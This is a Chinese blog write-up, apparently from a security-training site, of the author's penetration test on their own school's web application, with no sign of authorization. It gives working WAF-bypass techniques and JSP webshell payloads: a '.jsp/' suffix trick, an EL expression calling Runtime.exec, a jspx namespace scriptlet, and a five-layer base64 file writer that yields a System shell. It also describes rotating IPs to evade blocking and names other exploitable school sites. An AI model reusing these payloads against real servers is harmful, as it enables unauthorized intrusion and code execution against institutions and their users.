记一次绕过waf的任意文件上传_新闻资讯-网盾安全培训

0x01 前言

前几天对自己学校进行的一次渗透测试，由于深信服过于变态，而且拦截会直接封ip，整个过程有点曲折。

期间进行了后缀名绕过，jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。

0x02 获取网站接口

主界面：

上传点：

由于该应用是内嵌企业微信的套皮Html，所以我们首先用Burp Suite抓包获取接口和cookie

任意文件上传：

文件名强制命名为code+学号，后缀为最后一次点号出现之后的字母

0x03 后缀名绕过

代码不限制后缀名，但是waf限制呀！后缀名jsp，jspx会拦截，但是jspp，jspxx等不会拦截。

所以要利用windows特性绕过，常规的绕过手法例如末尾加点号、::$DATA均无法绕过。

经过fuzz，发现正斜杠可以绕过

纰漏： 查阅相关资料后发现，在后缀名绕过那里可以绕过是因为tomcat认为.jsp/在文件名中是非法的，Tomcat会自动去除非法的/号，并不是因为windows的特性。但.jsp\的反斜杠在本地测试时也可以正常解析去除，在目标机上却无法解析，个人感觉应该很大程度取决于所用的java库及其版本，这次算是误打误撞的成功了，以后还得多多学习，避免出现此类错误。

0x04 内容绕过

常见的jsp标记均无法绕过

所以我们得绕过JSP标记检测，这里参考了yzddmr6师傅的两种绕过方法。

jspEL表达式绕过
jspx命名空间绕过

参考链接：

https://yzddmr6.com/posts/jsp-webshell-upload-bypass/

第一种是利用${}标记：

payload：

${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话，需要变形绕过，鄙人太菜了，不了解相关函数的变形绕过，所以选择第二种写法。

第二种是利用命名空间的特性：

参照yzddmr6师傅的图：

使用自定义的命名空间，替换掉jsp的关键字，将原本的<jsp:scriptlet>替换成<自定义字符:scriptlet>，这样waf的正则匹配不到<jsp:scriptlet>自然就会放行

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        out.println(30*30);
    </hi:scriptlet>
</hi>

0x05 获取网站路径

这里我们不能用相对路径来写入webshell因为Tomcat与Apache不同，根目录并不是以代码运行位置决定所在的目录，而是默认为Tomcat/bin作为根目录

# 获取当前的根目录
String path = System.getProperty("user.dir");
out.println(path);

# 获取web项目所在的目录
String path = application.getRealPath("test.jsp");
out.println(path);

所以写入shell的绝对路径应为：

D:/tomcat8/webapps/declare/static/upload/test.jsp

0x06 编码或加密绕过waf写入shell

菜鸡的payload：

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>

一开始我是用两层base64编码，还是被检测了，经过fuzz发现五层编码即可绕过。

鄙人太懒了，不想重新造轮子。如果各位师傅有时间的话，遇到这种waf建议用RSA、AES等加密算法绕过。

成功getshell，System权限

看了一眼依赖，可能存在log4j2和jackson的RCE，留着下次当靶场继续测试

0x07 总结

深信服的waf算挺强了，而且也足够恶心，检测可疑行为直接封ip，光是fuzz就用掉了快30个ip了。

学校其他站点有thinkphp5.0.23 RCE、泛微8.0前台sql注入的漏洞，但都有这个waf，实在没有耐心一个个fuzz。